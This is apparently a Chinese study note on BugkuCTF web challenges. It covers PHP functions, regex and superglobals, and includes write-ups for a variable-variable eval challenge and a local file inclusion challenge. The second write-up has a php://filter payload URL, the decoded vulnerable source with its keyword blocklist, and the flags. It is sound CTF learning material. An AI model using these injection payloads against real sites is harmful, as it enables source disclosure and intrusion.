前言:
此文用于记录做BugkuCTF时遇到的知识,主要为了巩固和查阅。
记录各种知识
1.stripos(字符串a,字符串b)函数
查找字符串b在字符串a中第一次出现的位置(不区分大小写)
2.file_get_contents
将整个文件读入一个字符串
3.eregi("111".substr($b,0,1),"1114")
判断"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的
4.关于正则:
- 表达式直接写出来的字符串直接利用,如key
- “.”代表任意字符,除 "\n" 之外
- “*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次
-
\/
代表“/” - [a-z]代表a-z中的任意一个字符
- [[:punct:]]代表任意一个字符,包括各种符号
- /i代表大小写不敏感
- 更多:1.正则表达式小记 2.15个常用的javaScript正则表达式 3.正则表达式中各种字符的含义
5.常见web源码泄露总结
6.mysql_real_escape_string()
: PHP mysql_real_escape_string() 函数
7.get_magic_quotes_gpc()与addslashes()
bugku 变量1
http://123.206.87.240:8004/index1.php
flag In the variable !
最关键的是最后的eval("var_dump($$args);");
其中
-
eval
将字符串作为php代码执行,结尾加分号。 -
var_dump()
函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。如果是数组,将递归展开值,通过缩进显示其结构。
-
$$args
可以理解为$($args)
这是可变变量的意思,即$args
的值是另一个变量的变量名。而$$args
代表另一个变量的值。
上图表明:变量b的值
是变量a的名
,所以$$b
则为变量a的值
。
此题提示为:flag In the variable !
需要输入变量arg
的值,而且用到了可变变量,说明变量arg
的值应该为另一个变量的名(在这此变量只能是全局变量)
PHP的九大全局变量
-
$_POST
[用于接收post提交的数据] -
$_GET
[用于获取url地址栏的参数数据] -
$_FILES
[用于文件接收的处理,img最常见] -
$_COOKIE
[用于获取与setCookie()中的name值] -
$_SESSION
[用于存储session的值或获取session中的值] -
$_REQUEST
[具有get,post的功能,但比较慢] -
SERVER
[是预定义服务器变量的一种] -
$GLOBALS
[一个包含了全部全局变量的全局组合数组] -
$_ENV
[ 是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它]
此题为全局变量$GLOBALS
,PHP 在名为 $GLOBALS[index]
的数组中存储了所有全局变量。变量的名字
就是数组的键
。
bugku flag在index里
1.文件包含漏洞: 此题学习关于文件包含漏洞。
2.点击显示test5的url http://120.24.86.145:8005/post/index.php?file=show.php
中参数有file
选项,联想到了文件包含漏洞。
3.构造:http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
返回指定文件源码:
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
进行转码:即得到flag
Bugku-ctf
click me? no';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>